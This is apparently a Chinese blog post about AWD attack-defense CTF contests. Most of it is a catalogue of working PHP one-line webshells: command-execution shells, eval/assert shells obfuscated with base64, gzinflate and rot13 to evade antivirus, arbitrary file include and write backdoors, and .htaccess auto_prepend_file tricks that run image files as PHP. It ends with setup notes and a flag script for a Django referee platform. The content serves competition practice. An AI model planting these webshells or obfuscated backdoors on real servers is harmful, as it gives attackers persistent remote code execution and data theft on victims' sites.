AWD攻防赛

后门利用

简单一句话后门分类

php后门木马常用的函数大致上可分为四种类型:

1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open

2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

3. 文件包含生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 执行系统命令:

system 函数      执行命令

test.php?cmd=ls

system($_GET[cmd]);

passthru 函数

test.php?cmd=ls

passthru($_GET[cmd]);   执行命令

shell_exec 函数

test.php?cmd=ls

echo shell_exec($_GET[cmd]);     执行命令

exec 函数

test.php?cmd=ls

$arr = array();

exec($_GET[cmd],$arr);       执行命令

print_r($arr);

popen 函数

test.php?cmd=ls

$handle = popen('$_GET[cmd], 'r');

$read = fread($handle, 2096);

echo $read;

pclose($handle);

proc_open 函数

test.php?cmd=ls

$descriptorspec = array(

0 => array('pipe', 'r'),

1 => array('pipe', 'w'),

2 => array('pipe', 'w'),

);

$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);

fclose($pipes[0]);

$output = array();

while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));

print_r($output);
2. 代码执行与加密:

eval 函数

//最常见的一句话木马

eval($_POST['cmd']);

base64_decode 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(str_rot13('riny($_CBFG[pzq]);'));

assert 函数

//类似eval函数

assert($_POST['cmd']);

call_user_func 函数

//使用call_user_func调用assert

call_user_func('assert',$_POST['cmd']);

call_user_func 函数

//使用call_user_func调用任意函数

//test.php?a=assert&cmd=phpinfo()

call_user_func($_GET[a],$_REQUEST['cmd']);

组合代码

//组合方式调用任意函数

//test.php?a=assert&cmd=phpinfo()

$_GET[a]($_REQUEST['cmd']);
3. 文件包含与生成:

require 函数

//包含任意文件

//test.php?file=123.jpg

require($_GET[file]);

require_once 函数

//包含任意文件

//test.php?file=123.jpg

require_once($_GET[file]);

include 函数

//包含任意文件 www.chnhack.com

//test.php?file=123.jpg

include($_GET[file]);

include_once 函数

//包含任意文件

//test.php?file=123.jpg

include_once($_GET[file]);

file_get_contents 函数

//读取任意文件

//test.php?f=config.inc.php

echo file_get_contents($_GET['f']);

file_put_contents 函数

//生成任意内容文件

//a=test.php&b=

file_put_contents($_GET[a],$_GET[b]);

fputs 函数

//生成任意内容文件

//a=test.php&b=

fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:

SetHandler

//可将php代码存于非php后缀文件,例: x.jpg

//将以下代码写入.htaccess中

//连接x.jpg即可启动后门木马出处www.admin8.us

SetHandler application/x-httpd-php

auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif

//将以下代码写入.htaccess中, 文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马

php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//类似auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif

//将以下代码写入.htaccess中, 文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

php_value auto_append_file c:/apache2/htdocs/123.gif

PHP后门的eval类和system类 函数到底有哪些区别

一、

  一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。

二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)

1、简单类

//#1-eval
 <?php
     eval($_POST["cmd"])
 ?>
 //post:cmd=phpinfo();
 
 
 //#2-assert
 <?php
     assert($_POST["cmd"])
 ?>
 //post:cmd=phpinfo();
 
 
 //#3-call_user_func
 <?php
     call_user_func($_POST["fun"],$_POST["para"])
 ?>
 //post:fun=assert&para=phpinfo();

2、复杂类

//#1-create_function
 <?php 
     $a= $_POST['func'];
     $b = create_function('$a',"echo $a");
     $b('');
 ?>
 //post:func=phpinfo();
 
 
 //#2-array_map------->这个不懂先记下来
 <?php
     $array = array(0,1,2,3,4,5);
     array_map($_GET['func'],$array);
 ?>
 //post:func=phpinfo

三、PHP的system类型函数,一句话:命令执行而不是代码执行。

//#1-system
 <?php system($_POST["cmd"]);?>
 
 //#2-passthru
 <?php passthru($_POST["cmd"]);?>
 
 //#3-exec
 <?php echo exec($_POST["cmd"]);?>
 
 //#4-pcntl_exec
 <?php 
     pcntl_exec("/bin/bash",array($_POST["cmd"]));
 ?>
 
 //#5-shell_exec
 <?php echo shell_exec($_POST["cmd"]); ?>
 
 //#6-popen()/proc_popen()
 <?php $handle = popen("/bin/ls","r");?>
 
 //#7-``
 <?php echo `whoami`?>

高深一点的:

 <?php
 $cmd = 'system';
 ob_start($cmd)
 echo "$_GET[a]";
 ob_end-flush();
 ?>//?a=whoami

拿到源代码首先可以用D盾扫一下后门,然后导出

 正常审计也可以

EVAL REQUEST后门 

先看config.php

很明显一句话

 其他一句话均可以这样利用

EXEC后门

 成功

SYSTEM 后门

 

 貌似不能用

INCLUDE

成功 

任意文件读取

不过读取路径并不会利用。。。。。

一个awd攻防的裁判平台。 版本:beta v2.0 开发语言:python3 + django 平台分为两个部分 裁判机 靶机 通过特定接口,来实现靶机flag与服务器的通信 搭建流程 裁判机 安装所需环境 裁判机:python3+django 全局搜索woshiguanliyuan,并修改为随机字符串,此处为管理平台地址 /untitled/urls.py path('woshiguanliyuan/',views.admin,name='admin'), path('woshiguanliyuan/table/',views.admin_table,name='admin_table'), /app/views.py if 'woshiguanliyuan' not in request.META['HTTP_REFERER']: 第31和47换为你的目录 列:("/var/www/awd_platform/app/qwe.txt","a") 修改app/management/commands/init.py,添加用户 #['用户名','用户靶机token','用户靶机token'] user=[ ['123456','FF9C92C7SDFABB71566F73422C','FF9C92C7SDFABB71566F73422C'], ['aaabbb','311F8A54SV9K6B5FF4EAB20536','311F8A54SV9K6B5FF4EAB20536'] ] 修改/app/views.py第行d89f33b18ba2a74cd38499e587cb9dcd为靶机中设置的admin_token值的md5 if('d89f33b18ba2a74cd38499e587cb9dcd'==hl.hexdigest()): 运行 python3 manage.py init python3 manage.py manage.py runserver --insecure 靶机 安装所需环境 靶机:python+requests 修改send_flag.py参数,并将其放入靶机,设权限700。 靶机 sudo python send_flag.py。 靶机生成flag脚本,send_flag.py import requests import time import random import string import hashlib token='woshiwuxudong' # 红队 baji='311F8A54SV9K6B5FF4EAB20536' def getFlag(): #return ''.join(random.sample(string.ascii_letters + string.digits, 48)) m = hashlib.md5(''.join(random.sample(string.ascii_letters + string.digits, 48)).encode(encoding="utf-8")).hexdigest() return m while(1): f=open('/flag','w') flag=getFlag() f.write(flag) data={ 'flag':flag, 'token':token, 'baji':baji, } r=requests.post('http://127.0.0.1/caipanflag/',data=data) print(r.text) f.close() time.sleep(300) 重要须知 更新作者基础上: 1.增加flag验证一次性失效性,使得每个用户都并且仅可以提交一次flag 2.增加排名情况 3.flag改为MD5 4.增加丢失flag一轮扣100分
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值